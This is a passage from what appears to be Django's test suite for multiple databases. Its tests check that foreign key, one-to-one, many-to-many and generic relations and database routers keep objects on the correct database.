        self.assertEqual(Book.objects.using('default').count(), 0)
        self.assertEqual(Book.authors.through.objects.using('default').count(), 0)

        # The person still exists ...
        self.assertEqual(Person.objects.using('other').count(), 1)
        # ... but the book has been deleted
        self.assertEqual(Book.objects.using('other').count(), 0)
        # ... and the relationship object has also been deleted.
        self.assertEqual(Book.authors.through.objects.using('other').count(), 0)

        # Now try deletion in the reverse direction. Set up the relation again
        dive = Book.objects.using('other').create(title="Dive into Python", published=datetime.date(2009, 5, 4))
        dive.authors.set([mark])

        # Check the initial state
        self.assertEqual(Person.objects.using('default').count(), 0)
        self.assertEqual(Book.objects.using('default').count(), 0)
        self.assertEqual(Book.authors.through.objects.using('default').count(), 0)

        self.assertEqual(Person.objects.using('other').count(), 1)
        self.assertEqual(Book.objects.using('other').count(), 1)
        self.assertEqual(Book.authors.through.objects.using('other').count(), 1)

        # Delete the object on the other database
        mark.delete(using='other')

        self.assertEqual(Person.objects.using('default').count(), 0)
        self.assertEqual(Book.objects.using('default').count(), 0)
        self.assertEqual(Book.authors.through.objects.using('default').count(), 0)

        # The person has been deleted ...
        self.assertEqual(Person.objects.using('other').count(), 0)
        # ... but the book still exists
        self.assertEqual(Book.objects.using('other').count(), 1)
        # ... and the relationship object has been deleted.
        self.assertEqual(Book.authors.through.objects.using('other').count(), 0)

    def test_foreign_key_separation(self):
        "FK fields are constrained to a single database"
        # Create a book and author on the default database
        pro = Book.objects.create(title="Pro Django", published=datetime.date(2008, 12, 16))

        george = Person.objects.create(name="George Vilches")

        # Create a book and author on the other database
        dive = Book.objects.using('other').create(title="Dive into Python", published=datetime.date(2009, 5, 4))
        chris = Person.objects.using('other').create(name="Chris Mills")

        # Save the author's favorite books
        pro.editor = george
        pro.save()

        dive.editor = chris
        dive.save()

        pro = Book.objects.using('default').get(title="Pro Django")
        self.assertEqual(pro.editor.name, "George Vilches")

        dive = Book.objects.using('other').get(title="Dive into Python")
        self.assertEqual(dive.editor.name, "Chris Mills")

        # Check that queries work across foreign key joins
        self.assertEqual(
            list(Person.objects.using('default').filter(edited__title='Pro Django').values_list('name', flat=True)),
            ['George Vilches']
        )
        self.assertEqual(
            list(Person.objects.using('other').filter(edited__title='Pro Django').values_list('name', flat=True)),
            []
        )

        self.assertEqual(
            list(
                Person.objects.using('default').filter(edited__title='Dive into Python').values_list('name', flat=True)
            ),
            []
        )
        self.assertEqual(
            list(
                Person.objects.using('other').filter(edited__title='Dive into Python').values_list('name', flat=True)
            ),
            ['Chris Mills']
        )

        # Reget the objects to clear caches
        chris = Person.objects.using('other').get(name="Chris Mills")
        dive = Book.objects.using('other').get(title="Dive into Python")

        # Retrieve related object by descriptor. Related objects should be database-bound
        self.assertEqual(list(chris.edited.values_list('title', flat=True)), ['Dive into Python'])

    def test_foreign_key_reverse_operations(self):
        "FK reverse manipulations are all constrained to a single DB"
        dive = Book.objects.using('other').create(title="Dive into Python", published=datetime.date(2009, 5, 4))
        chris = Person.objects.using('other').create(name="Chris Mills")

        # Save the author relations
        dive.editor = chris
        dive.save()

        # Add a second book edited by chris
        html5 = Book.objects.using('other').create(title="Dive into HTML5", published=datetime.date(2010, 3, 15))
        self.assertEqual(
            list(Person.objects.using('other').filter(edited__title='Dive into HTML5').values_list('name', flat=True)),
            []
        )

        chris.edited.add(html5)
        self.assertEqual(
            list(Person.objects.using('other').filter(edited__title='Dive into HTML5').values_list('name', flat=True)),
            ['Chris Mills']
        )
        self.assertEqual(
            list(
                Person.objects.using('other').filter(edited__title='Dive into Python').values_list('name', flat=True)
            ),
            ['Chris Mills']
        )

        # Remove the second editor
        chris.edited.remove(html5)
        self.assertEqual(
            list(Person.objects.using('other').filter(edited__title='Dive into HTML5').values_list('name', flat=True)),
            []
        )
        self.assertEqual(
            list(
                Person.objects.using('other').filter(edited__title='Dive into Python').values_list('name', flat=True)
            ),
            ['Chris Mills']
        )

        # Clear all edited books
        chris.edited.clear()
        self.assertEqual(
            list(Person.objects.using('other').filter(edited__title='Dive into HTML5').values_list('name', flat=True)),
            []
        )
        self.assertEqual(
            list(
                Person.objects.using('other').filter(edited__title='Dive into Python').values_list('name', flat=True)
            ),
            []
        )

        # Create an author through the m2m interface
        chris.edited.create(title='Dive into Water', published=datetime.date(2010, 3, 15))
        self.assertEqual(
            list(Person.objects.using('other').filter(edited__title='Dive into HTML5').values_list('name', flat=True)),
            []
        )
        self.assertEqual(
            list(Person.objects.using('other').filter(edited__title='Dive into Water').values_list('name', flat=True)),
            ['Chris Mills']
        )
        self.assertEqual(
            list(
                Person.objects.using('other').filter(edited__title='Dive into Python').values_list('name', flat=True)
            ),
            []
        )

    def test_foreign_key_cross_database_protection(self):
        "Operations that involve sharing FK objects across databases raise an error"
        # Create a book and author on the default database
        pro = Book.objects.create(title="Pro Django", published=datetime.date(2008, 12, 16))
        marty = Person.objects.create(name="Marty Alchin")

        # Create a book and author on the other database
        dive = Book.objects.using('other').create(title="Dive into Python", published=datetime.date(2009, 5, 4))

        # Set a foreign key with an object from a different database
        with self.assertRaises(ValueError):
            dive.editor = marty

        # Set a foreign key set with an object from a different database
        with self.assertRaises(ValueError):
            with transaction.atomic(using='default'):
                marty.edited.set([pro, dive])

        # Add to a foreign key set with an object from a different database
        with self.assertRaises(ValueError):
            with transaction.atomic(using='default'):
                marty.edited.add(dive)

    def test_foreign_key_deletion(self):
        "Cascaded deletions of Foreign Key relations issue queries on the right database"
        mark = Person.objects.using('other').create(name="Mark Pilgrim")
        Pet.objects.using('other').create(name="Fido", owner=mark)

        # Check the initial state
        self.assertEqual(Person.objects.using('default').count(), 0)
        self.assertEqual(Pet.objects.using('default').count(), 0)

        self.assertEqual(Person.objects.using('other').count(), 1)
        self.assertEqual(Pet.objects.using('other').count(), 1)

        # Delete the person object, which will cascade onto the pet
        mark.delete(using='other')

        self.assertEqual(Person.objects.using('default').count(), 0)
        self.assertEqual(Pet.objects.using('default').count(), 0)

        # Both the pet and the person have been deleted from the right database
        self.assertEqual(Person.objects.using('other').count(), 0)
        self.assertEqual(Pet.objects.using('other').count(), 0)

    def test_foreign_key_validation(self):
        "ForeignKey.validate() uses the correct database"
        mickey = Person.objects.using('other').create(name="Mickey")
        pluto = Pet.objects.using('other').create(name="Pluto", owner=mickey)
        self.assertIsNone(pluto.full_clean())

    # Any router that accesses `model` in db_for_read() works here.
    @override_settings(DATABASE_ROUTERS=[AuthRouter()])
    def test_foreign_key_validation_with_router(self):
        """
        ForeignKey.validate() passes `model` to db_for_read() even if
        model_instance=None.
        """
        mickey = Person.objects.create(name="Mickey")
        owner_field = Pet._meta.get_field('owner')
        self.assertEqual(owner_field.clean(mickey.pk, None), mickey.pk)

    def test_o2o_separation(self):
        "OneToOne fields are constrained to a single database"
        # Create a user and profile on the default database
        alice = User.objects.db_manager('default').create_user('alice', 'alice@example.com')
        alice_profile = UserProfile.objects.using('default').create(user=alice, flavor='chocolate')

        # Create a user and profile on the other database
        bob = User.objects.db_manager('other').create_user('bob', 'bob@example.com')
        bob_profile = UserProfile.objects.using('other').create(user=bob, flavor='crunchy frog')

        # Retrieve related objects; queries should be database constrained
        alice = User.objects.using('default').get(username="alice")
        self.assertEqual(alice.userprofile.flavor, "chocolate")

        bob = User.objects.using('other').get(username="bob")
        self.assertEqual(bob.userprofile.flavor, "crunchy frog")

        # Check that queries work across joins
        self.assertEqual(
            list(
                User.objects.using('default')
                .filter(userprofile__flavor='chocolate').values_list('username', flat=True)
            ),
            ['alice']
        )
        self.assertEqual(
            list(
                User.objects.using('other')
                .filter(userprofile__flavor='chocolate').values_list('username', flat=True)
            ),
            []
        )

        self.assertEqual(
            list(
                User.objects.using('default')
                .filter(userprofile__flavor='crunchy frog').values_list('username', flat=True)
            ),
            []
        )
        self.assertEqual(
            list(
                User.objects.using('other')
                .filter(userprofile__flavor='crunchy frog').values_list('username', flat=True)
            ),
            ['bob']
        )

        # Reget the objects to clear caches
        alice_profile = UserProfile.objects.using('default').get(flavor='chocolate')
        bob_profile = UserProfile.objects.using('other').get(flavor='crunchy frog')

        # Retrieve related object by descriptor. Related objects should be database-bound
        self.assertEqual(alice_profile.user.username, 'alice')
        self.assertEqual(bob_profile.user.username, 'bob')

    def test_o2o_cross_database_protection(self):
        "Operations that involve sharing FK objects across databases raise an error"
        # Create a user and profile on the default database
        alice = User.objects.db_manager('default').create_user('alice', 'alice@example.com')

        # Create a user and profile on the other database
        bob = User.objects.db_manager('other').create_user('bob', 'bob@example.com')

        # Set a one-to-one relation with an object from a different database
        alice_profile = UserProfile.objects.using('default').create(user=alice, flavor='chocolate')
        with self.assertRaises(ValueError):
            bob.userprofile = alice_profile

        # BUT! if you assign a FK object when the base object hasn't
        # been saved yet, you implicitly assign the database for the
        # base object.
        bob_profile = UserProfile.objects.using('other').create(user=bob, flavor='crunchy frog')

        new_bob_profile = UserProfile(flavor="spring surprise")

        # assigning a profile requires an explicit pk as the object isn't saved
        charlie = User(pk=51, username='charlie', email='charlie@example.com')
        charlie.set_unusable_password()

        # initially, no db assigned
        self.assertIsNone(new_bob_profile._state.db)
        self.assertIsNone(charlie._state.db)

        # old object comes from 'other', so the new object is set to use 'other'...
        new_bob_profile.user = bob
        charlie.userprofile = bob_profile
        self.assertEqual(new_bob_profile._state.db, 'other')
        self.assertEqual(charlie._state.db, 'other')

        # ... but it isn't saved yet
        self.assertEqual(list(User.objects.using('other').values_list('username', flat=True)), ['bob'])
        self.assertEqual(list(UserProfile.objects.using('other').values_list('flavor', flat=True)), ['crunchy frog'])

        # When saved (no using required), new objects goes to 'other'
        charlie.save()
        bob_profile.save()
        new_bob_profile.save()
        self.assertEqual(list(User.objects.using('default').values_list('username', flat=True)), ['alice'])
        self.assertEqual(list(User.objects.using('other').values_list('username', flat=True)), ['bob', 'charlie'])
        self.assertEqual(list(UserProfile.objects.using('default').values_list('flavor', flat=True)), ['chocolate'])
        self.assertEqual(
            list(UserProfile.objects.using('other').values_list('flavor', flat=True)),
            ['crunchy frog', 'spring surprise']
        )

        # This also works if you assign the O2O relation in the constructor
        denise = User.objects.db_manager('other').create_user('denise', 'denise@example.com')
        denise_profile = UserProfile(flavor="tofu", user=denise)

        self.assertEqual(denise_profile._state.db, 'other')
        # ... but it isn't saved yet
        self.assertEqual(list(UserProfile.objects.using('default').values_list('flavor', flat=True)), ['chocolate'])
        self.assertEqual(
            list(UserProfile.objects.using('other').values_list('flavor', flat=True)),
            ['crunchy frog', 'spring surprise']
        )

        # When saved, the new profile goes to 'other'
        denise_profile.save()
        self.assertEqual(list(UserProfile.objects.using('default').values_list('flavor', flat=True)), ['chocolate'])
        self.assertEqual(
            list(UserProfile.objects.using('other').values_list('flavor', flat=True)),
            ['crunchy frog', 'spring surprise', 'tofu']
        )

    def test_generic_key_separation(self):
        "Generic fields are constrained to a single database"
        # Create a book and author on the default database
        pro = Book.objects.create(title="Pro Django", published=datetime.date(2008, 12, 16))
        review1 = Review.objects.create(source="Python Monthly", content_object=pro)

        # Create a book and author on the other database
        dive = Book.objects.using('other').create(title="Dive into Python", published=datetime.date(2009, 5, 4))

        review2 = Review.objects.using('other').create(source="Python Weekly", content_object=dive)

        review1 = Review.objects.using('default').get(source="Python Monthly")
        self.assertEqual(review1.content_object.title, "Pro Django")

        review2 = Review.objects.using('other').get(source="Python Weekly")
        self.assertEqual(review2.content_object.title, "Dive into Python")

        # Reget the objects to clear caches
        dive = Book.objects.using('other').get(title="Dive into Python")

        # Retrieve related object by descriptor. Related objects should be database-bound
        self.assertEqual(list(dive.reviews.all().values_list('source', flat=True)), ['Python Weekly'])

    def test_generic_key_reverse_operations(self):
        "Generic reverse manipulations are all constrained to a single DB"
        dive = Book.objects.using('other').create(title="Dive into Python", published=datetime.date(2009, 5, 4))
        temp = Book.objects.using('other').create(title="Temp", published=datetime.date(2009, 5, 4))
        review1 = Review.objects.using('other').create(source="Python Weekly", content_object=dive)
        review2 = Review.objects.using('other').create(source="Python Monthly", content_object=temp)

        self.assertEqual(
            list(Review.objects.using('default').filter(object_id=dive.pk).values_list('source', flat=True)),
            []
        )
        self.assertEqual(
            list(Review.objects.using('other').filter(object_id=dive.pk).values_list('source', flat=True)),
            ['Python Weekly']
        )

        # Add a second review
        dive.reviews.add(review2)
        self.assertEqual(
            list(Review.objects.using('default').filter(object_id=dive.pk).values_list('source', flat=True)),
            []
        )
        self.assertEqual(
            list(Review.objects.using('other').filter(object_id=dive.pk).values_list('source', flat=True)),
            ['Python Monthly', 'Python Weekly']
        )

        # Remove the second author
        dive.reviews.remove(review1)
        self.assertEqual(
            list(Review.objects.using('default').filter(object_id=dive.pk).values_list('source', flat=True)),
            []
        )
        self.assertEqual(
            list(Review.objects.using('other').filter(object_id=dive.pk).values_list('source', flat=True)),
            ['Python Monthly']
        )

        # Clear all reviews
        dive.reviews.clear()
        self.assertEqual(
            list(Review.objects.using('default').filter(object_id=dive.pk).values_list('source', flat=True)),
            []
        )
        self.assertEqual(
            list(Review.objects.using('other').filter(object_id=dive.pk).values_list('source', flat=True)),
            []
        )

        # Create an author through the generic interface
        dive.reviews.create(source='Python Daily')
        self.assertEqual(
            list(Review.objects.using('default').filter(object_id=dive.pk).values_list('source', flat=True)),
            []
        )
        self.assertEqual(
            list(Review.objects.using('other').filter(object_id=dive.pk).values_list('source', flat=True)),
            ['Python Daily']
        )

    def test_generic_key_cross_database_protection(self):
        "Operations that involve sharing generic key objects across databases raise an error"
        # Create a book and author on the default database
        pro = Book.objects.create(title="Pro Django", published=datetime.date(2008, 12, 16))
        review1 = Review.objects.create(source="Python Monthly", content_object=pro)

        # Create a book and author on the other database
        dive = Book.objects.using('other').create(title="Dive into Python", published=datetime.date(2009, 5, 4))

        Review.objects.using('other').create(source="Python Weekly", content_object=dive)

        # Set a foreign key with an object from a different database
        with self.assertRaises(ValueError):
            review1.content_object = dive

        # Add to a foreign key set with an object from a different database
        with self.assertRaises(ValueError):
            with transaction.atomic(using='other'):
                dive.reviews.add(review1)

        # BUT! if you assign a FK object when the base object hasn't
        # been saved yet, you implicitly assign the database for the
        # base object.
        review3 = Review(source="Python Daily")
        # initially, no db assigned
        self.assertIsNone(review3._state.db)

        # Dive comes from 'other', so review3 is set to use 'other'...
        review3.content_object = dive
        self.assertEqual(review3._state.db, 'other')
        # ... but it isn't saved yet
        self.assertEqual(
            list(Review.objects.using('default').filter(object_id=pro.pk).values_list('source', flat=True)),
            ['Python Monthly']
        )
        self.assertEqual(
            list(Review.objects.using('other').filter(object_id=dive.pk).values_list('source', flat=True)),
            ['Python Weekly']
        )

        # When saved, John goes to 'other'
        review3.save()
        self.assertEqual(
            list(Review.objects.using('default').filter(object_id=pro.pk).values_list('source', flat=True)),
            ['Python Monthly']
        )
        self.assertEqual(
            list(Review.objects.using('other').filter(object_id=dive.pk).values_list('source', flat=True)),
            ['Python Daily', 'Python Weekly']
        )

    def test_generic_key_deletion(self):
        "Cascaded deletions of Generic Key relations issue queries on the right database"
        dive = Book.objects.using('other').create(title="Dive into Python", published=datetime.date(2009, 5, 4))
        Review.objects.using('other').create(source="Python Weekly", content_object=dive)

        # Check the initial state
        self.assertEqual(Book.objects.using('default').count(), 0)
        self.assertEqual(Review.objects.using('default').count(), 0)

        self.assertEqual(Book.objects.using('other').count(), 1)
        self.assertEqual(Review.objects.using('other').count(), 1)

        # Delete the Book object, which will cascade onto the pet
        dive.delete(using='other')

        self.assertEqual(Book.objects.using('default').count(), 0)
        self.assertEqual(Review.objects.using('default').count(), 0)

        # Both the pet and the person have been deleted from the right database
        self.assertEqual(Book.objects.using('other').count(), 0)
        self.assertEqual(Review.objects.using('other').count(), 0)

    def test_ordering(self):
        "get_next_by_XXX commands stick to a single database"
        Book.objects.create(title="Pro Django", published=datetime.date(2008, 12, 16))
        dive = Book.objects.using('other').create(title="Dive into Python", published=datetime.date(2009, 5, 4))
        learn = Book.objects.using('other').create(title="Learning Python", published=datetime.date(2008, 7, 16))

        self.assertEqual(learn.get_next_by_published().title, "Dive into Python")
        self.assertEqual(dive.get_previous_by_published().title, "Learning Python")

    def test_raw(self):
        "test the raw() method across databases"
        dive = Book.objects.using('other').create(title="Dive into Python", published=datetime.date(2009, 5, 4))
        val = Book.objects.db_manager("other").raw('SELECT id FROM multiple_database_book')
        self.assertQuerysetEqual(val, [dive.pk], attrgetter("pk"))

        val = Book.objects.raw('SELECT id FROM multiple_database_book').using('other')
        self.assertQuerysetEqual(val, [dive.pk], attrgetter("pk"))

    def test_select_related(self):
        "Database assignment is retained if an object is retrieved with select_related()"
        # Create a book and author on the other database
        mark = Person.objects.using('other').create(name="Mark Pilgrim")
        Book.objects.using('other').create(
            title="Dive into Python",
            published=datetime.date(2009, 5, 4),
            editor=mark,
        )

        # Retrieve the Person using select_related()
        book = Book.objects.using('other').select_related('editor').get(title="Dive into Python")

        # The editor instance should have a db state
        self.assertEqual(book.editor._state.db, 'other')

    def test_subquery(self):
        """Make sure as_sql works with subqueries and primary/replica."""
        sub = Person.objects.using('other').filter(name='fff')
        qs = Book.objects.filter(editor__in=sub)

        # When you call __str__ on the query object, it doesn't know about using
        # so it falls back to the default. If the subquery explicitly uses a
        # different database, an error should be raised.
        with self.assertRaises(ValueError):
            str(qs.query)

        # Evaluating the query shouldn't work, either
        with self.assertRaises(ValueError):
            for obj in qs:
                pass

    def test_related_manager(self):
        "Related managers return managers, not querysets"
        mark = Person.objects.using('other').create(name="Mark Pilgrim")

        # extra_arg is removed by the BookManager's implementation of
        # create(); but the BookManager's implementation won't get called
        # unless edited returns a Manager, not a queryset
        mark.book_set.create(title="Dive into Python", published=datetime.date(2009, 5, 4), extra_arg=True)
        mark.book_set.get_or_create(title="Dive into Python", published=datetime.date(2009, 5, 4), extra_arg=True)
        mark.edited.create(title="Dive into Water", published=datetime.date(2009, 5, 4), extra_arg=True)
        mark.edited.get_or_create(title="Dive into Water", published=datetime.date(2009, 5, 4), extra_arg=True)


class ConnectionRouterTestCase(SimpleTestCase):
    @override_settings(DATABASE_ROUTERS=[
        'multiple_database.tests.TestRouter',
        'multiple_database.tests.WriteRouter'])
    def test_router_init_default(self):
        connection_router = ConnectionRouter()
        self.assertListEqual([r.__class__.__name__ for r in connection_router.routers], ['TestRouter', 'WriteRouter'])

    def test_router_init_arg(self):
        connection_router = ConnectionRouter([
            'multiple_database.tests.TestRouter',
            'multiple_database.tests.WriteRouter'
        ])
        self.assertListEqual([r.__class__.__name__ for r in connection_router.routers], ['TestRouter', 'WriteRouter'])

        # Init with instances instead of strings
        connection_router = ConnectionRouter([TestRouter(), WriteRouter()])
        self.assertListEqual([r.__class__.__name__ for r in connection_router.routers], ['TestRouter', 'WriteRouter'])


# Make the 'other' database appear to be a replica of the 'default'
@override_settings(DATABASE_ROUTERS=[TestRouter()])
class RouterTestCase(TestCase):
    multi_db = True

    def test_db_selection(self):
        "Check that querysets obey the router for db suggestions"
        self.assertEqual(Book.objects.db, 'other')
        self.assertEqual(Book.objects.all().db, 'other')

        self.assertEqual(Book.objects.using('default').db, 'default')

        self.assertEqual(Book.objects.db_manager('default').db, 'default')
        self.assertEqual(Book.objects.db_manager('default').all().db, 'default')

    def test_migrate_selection(self):
        "Synchronization behavior is predictable"

        self.assertTrue(router.allow_migrate_model('default', User))
        self.assertTrue(router.allow_migrate_model('default', Book))

        self.assertTrue(router.allow_migrate_model('other', User))
        self.assertTrue(router.allow_migrate_model('other', Book))

        with override_settings(DATABASE_ROUTERS=[TestRouter(), AuthRouter()]):
            # Add the auth router to the chain. TestRouter is a universal
            # synchronizer, so it should have no effect.
            self.assertTrue(router.allow_migrate_model('default', User))
            self.assertTrue(router.allow_migrate_model('default', Book))

            self.assertTrue(router.allow_migrate_model('other', User))
            self.assertTrue(router.allow_migrate_model('other', Book))

        with override_settings(DATABASE_ROUTERS=[AuthRouter(), TestRouter()]):
            # Now check what happens if the router order is reversed.
            self.assertFalse(router.allow_migrate_model('default', User))
            self.assertTrue(router.allow_migrate_model('default', Book))

            self.assertTrue(router.allow_migrate_model('other', User))
            self.assertTrue(router.allow_migrate_model('other', Book))

    def test_partial_router(self):
        "A router can choose to implement a subset of methods"
        dive = Book.objects.using('other').create(title="Dive into Python",
                                                  published=datetime.date(2009, 5, 4))

        # First check the baseline behavior.

        self.assertEqual(router.db_for_read(User), 'other')
        self.assertEqual(router.db_for_read(Book), 'other')

        self.assertEqual(router.db_for_write(User), 'default')
        self.assertEqual(router.db_for_write(Book), 'default')

        self.assertTrue(router.allow_relation(dive, dive))

        self.assertTrue(router.allow_migrate_model('default', User))
        self.assertTrue(router.allow_migrate_model('default', Book))

        with override_settings(DATABASE_ROUTERS=[WriteRouter(), AuthRouter(), TestRouter()]):
            self.assertEqual(router.db_for_read(User), 'default')
            self.assertEqual(router.db_for_read(Book), 'other')

            self.assertEqual(router.db_for_write(User), 'writer')
            self.assertEqual(router.db_for_write(Book), 'writer')

            self.assertTrue(router.allow_relation(dive, dive))

            self.assertFalse(router.allow_migrate_model('default', User))
            self.assertTrue(router.allow_migrate_model('default', Book))

    def test_database_routing(self):
        marty = Person.objects.using('default').create(name="Marty Alchin")
        pro = Book.objects.using('default').create(title="Pro Django",
                                                   published=datetime.date(2008, 12, 16),
                                                   editor=marty)
        pro.authors.set([marty])

        # Create a book and author on the other database
        Book.objects.using('other').create(title="Dive into Python", published=datetime.date(2009, 5, 4))

        # An update query will be routed to the default database
        Book.objects.filter(title='Pro Django').update(pages=200)

        with self.assertRaises(Book.DoesNotExist):
            # By default, the get query will be directed to 'other'
            Book.objects.get(title='Pro Django')

        # But the same query issued explicitly at a database will work.
        pro = Book.objects.using('default').get(title='Pro Django')

        # Check that the update worked.
        self.assertEqual(pro.pages, 200)

        # An update query with an explicit using clause will be routed
        # to the requested database.
        Book.objects.using('other').filter(title='Dive into Python').update(pages=300)
        self.assertEqual(Book.objects.get(title='Dive into Python').pages, 300)

        # Related object queries stick to the same database
        # as the original object, regardless of the router
        self.assertEqual(list(pro.authors.values_list('name', flat=True)), ['Marty Alchin'])
        self.assertEqual(pro.editor.name, 'Marty Alchin')

        # get_or_create is a special case. The get needs to be targeted at
        # the write database in order to avoid potential transaction
        # consistency problems
        book, created = Book.objects.get_or_create(title="Pro Django")
        self.assertFalse(created)

        book, created = Book.objects.get_or_create(title="Dive Into Python",
                                                   defaults={'published': datetime.date(2009, 5, 4)})
        self.assertTrue(created)

        # Check the head count of objects
        self.assertEqual(Book.objects.using('default').count(), 2)
        self.assertEqual(Book.objects.using('other').count(), 1)
        # If a database isn't specified, the read database is used
        self.assertEqual(Book.objects.count(), 1)

        # A delete query will also be routed to the default database
        Book.objects.filter(pages__gt=150).delete()

        # The default database has lost the book.
        self.assertEqual(Book.objects.using('default').count(), 1)
        self.assertEqual(Book.objects.using('other').count(), 1)

    def test_invalid_set_foreign_key_assignment(self):
        marty = Person.objects.using('default').create(name="Marty Alchin")
        dive = Book.objects.using('other').create(
            title="Dive into Python",
            published=datetime.date(2009, 5, 4),
        )
        # Set a foreign key set with an object from a different database
        msg = "<Book: Dive into Python> instance isn't saved. Use bulk=False or save the object first."
        with self.assertRaisesMessage(ValueError, msg):
            marty.edited.set([dive])

    def test_foreign_key_cross_database_protection(self):
        "Foreign keys can cross databases if they two databases have a common source"
        # Create a book and author on the default database
        pro = Book.objects.using('default').create(title="Pro Django",
                                                   published=datetime.date(2008, 12, 16))

        marty = Person.objects.using('default').create(name="Marty Alchin")

        # Create a book and author on the other database
        dive = Book.objects.using('other').create(title="Dive into Python",
                                                  published=datetime.date(2009, 5, 4))

        mark = Person.objects.using('other').create(name="Mark Pilgrim")

        # Set a foreign key with an object from a different database
        dive.editor = marty

        # Database assignments of original objects haven't changed...
        self.assertEqual(marty._state.db, 'default')
        self.assertEqual(pro._state.db, 'default')
        self.assertEqual(dive._state.db, 'other')
        self.assertEqual(mark._state.db, 'other')

        # ... but they will when the affected object is saved.
        dive.save()
        self.assertEqual(dive._state.db, 'default')

        # ...and the source database now has a copy of any object saved
        Book.objects.using('default').get(title='Dive into Python').delete()

        # This isn't a real primary/replica database, so restore the original from other
        dive = Book.objects.using('other').get(title='Dive into Python')
        self.assertEqual(dive._state.db, 'other')

        # Set a foreign key set with an object from a different database
        marty.edited.set([pro, dive], bulk=False)

        # Assignment implies a save, so database assignments of original objects have changed...
        self.assertEqual(marty._state.db, 'default')
        self.assertEqual(pro._state.db, 'default')
        self.assertEqual(dive._state.db, 'default')
        self.assertEqual(mark._state.db, 'other')

        # ...and the source database now has a copy of any object saved
        Book.objects.using('default').get(title='Dive into Python').delete()

        # This isn't a real primary/replica database, so restore the original from other
        dive = Book.objects.using('other').get(title='Dive into Python')
        self.assertEqual(dive._state.db, 'other')

        # Add to a foreign key set with an object from a different database
        marty.edited.add(dive, bulk=False)

        # Add implies a save, so database assignments of original objects have changed...
        self.assertEqual(marty._state.db, 'default')
        self.assertEqual(pro._state.db, 'default')
        self.assertEqual(dive._state.db, 'default')
        self.assertEqual(mark._state.db, 'other')

        # ...and the source database now has a copy of any object saved
        Book.objects.using('default').get(title='Dive into Python').delete()

        # This isn't a real primary/replica database, so restore the original from other
        dive = Book.objects.using('other').get(title='Dive into Python')

        # If you assign a FK object when the base object hasn't
        # been saved yet, you implicitly assign the database for the
        # base object.
        chris = Person(name="Chris Mills")
        html5 = Book(title="Dive into HTML5", published=datetime.date(2010, 3, 15))
        # initially, no db assigned
        self.assertIsNone(chris._state.db)
        self.assertIsNone(html5._state.db)

        # old object comes from 'other', so the new object is set to use the
        # source of 'other'...
        self.assertEqual(dive._state.db, 'other')
        chris.save()
        dive.editor = chris
        html5.editor = mark

        self.assertEqual(dive._state.db, 'other')
        self.assertEqual(mark._state.db, 'other')
        self.assertEqual(chris._state.db, 'default')
        self.assertEqual(html5._state.db, 'default')

        # This also works if you assign the FK in the constructor
        water = Book(title="Dive into Water", published=datetime.date(2001, 1, 1), editor=mark)
        self.assertEqual(water._state.db, 'default')

        # For the remainder of this test, create a copy of 'mark' in the
        # 'default' database to prevent integrity errors on backends that
        # don't defer constraints checks until the end of the transaction
        mark.save(using='default')

        # This moved 'mark' in the 'default' database, move it back in 'other'
        mark.save(using='other')
        self.assertEqual(mark._state.db, 'other')

        # If you create an object through a FK relation, it will be
        # written to the write database, even if the original object
        # was on the read database
        cheesecake = mark.edited.create(title='Dive into Cheesecake', published=datetime.date(2010, 3, 15))
        self.assertEqual(cheesecake._state.db, 'default')

        # Same goes for get_or_create, regardless of whether getting or creating
        cheesecake, created = mark.edited.get_or_create(
            title='Dive into Cheesecake',
            published=datetime.date(2010, 3, 15),
        )
        self.assertEqual(cheesecake._state.db, 'default')

        puddles, created = mark.edited.get_or_create(title='Dive into Puddles', published=datetime.date(2010, 3, 15))
        self.assertEqual(puddles._state.db, 'default')

    def test_m2m_cross_database_protection(self):
        "M2M relations can cross databases if the database share a source"
        # Create books and authors on the inverse to the usual database
        pro = Book.objects.using('other').create(pk=1, title="Pro Django",
                                                 published=datetime.date(2008, 12, 16))

        marty = Person.objects.using('other').create(pk=1, name="Marty Alchin")

        dive = Book.objects.using('default').create(pk=2, title="Dive into Python",
                                                    published=datetime.date(2009, 5, 4))

        mark = Person.objects.using('default').create(pk=2, name="Mark Pilgrim")

        # Now save back onto the usual database.
        # This simulates primary/replica - the objects exist on both database,
        # but the _state.db is as it is for all other tests.
        pro.save(using='default')
        marty.save(using='default')
        dive.save(using='other')
        mark.save(using='other')

        # Check that we have 2 of both types of object on both databases
        self.assertEqual(Book.objects.using('default').count(), 2)
        self.assertEqual(Book.objects.using('other').count(), 2)
        self.assertEqual(Person.objects.using('default').count(), 2)
        self.assertEqual(Person.objects.using('other').count(), 2)

        # Set a m2m set with an object from a different database
        marty.book_set.set([pro, dive])

        # Database assignments don't change
        self.assertEqual(marty._state.db, 'default')
        self.assertEqual(pro._state.db, 'default')
        self.assertEqual(dive._state.db, 'other')
        self.assertEqual(mark._state.db, 'other')

        # All m2m relations should be saved on the default database
        self.assertEqual(Book.authors.through.objects.using('default').count(), 2)
        self.assertEqual(Book.authors.through.objects.using('other').count(), 0)

        # Reset relations
        Book.authors.through.objects.using('default').delete()

        # Add to an m2m with an object from a different database
        marty.book_set.add(dive)

        # Database assignments don't change
        self.assertEqual(marty._state.db, 'default')
        self.assertEqual(pro._state.db, 'default')
        self.assertEqual(dive._state.db, 'other')
        self.assertEqual(mark._state.db, 'other')

        # All m2m relations should be saved on the default database
        self.assertEqual(Book.authors.through.objects.using('default').count(), 1)
        self.assertEqual(Book.authors.through.objects.using('other').count(), 0)

        # Reset relations
        Book.authors.through.objects.using('default').delete()

        # Set a reverse m2m with an object from a different database
        dive.authors.set([mark, marty])

        # Database assignments don't change
        self.assertEqual(marty._state.db, 'default')
        self.assertEqual(pro._state.db, 'default')
        self.assertEqual(dive._state.db, 'other')
        self.assertEqual(mark._state.db, 'other')

        # All m2m relations should be saved on the default database
        self.assertEqual(Book.authors.through.objects.using('default').count(), 2)
        self.assertEqual(Book.authors.through.objects.using('other').count(), 0)

        # Reset relations
        Book.authors.through.objects.using('default').delete()

        self.assertEqual(Book.authors.through.objects.using('default').count(), 0)
        self.assertEqual(Book.authors.through.objects.using('other').count(), 0)

        # Add to a reverse m2m with an object from a different database
        dive.authors.add(marty)

        # Database assignments don't change
        self.assertEqual(marty._state.db, 'default')
        self.assertEqual(pro._state.db, 'default')
        self.assertEqual(dive._state.db, 'other')
        self.assertEqual(mark._state.db, 'other')

        # All m2m relations should be saved on the default database
        self.assertEqual(Book.authors.through.objects.using('default').count(), 1)
        self.assertEqual(Book.authors.through.objects.using('other').count(), 0)

        # If you create an object through a M2M relation, it will be
        # written to the write database, even if the original object
        # was on the read database
        alice = dive.authors.create(name='Alice')
        self.assertEqual(alice._state.db, 'default')

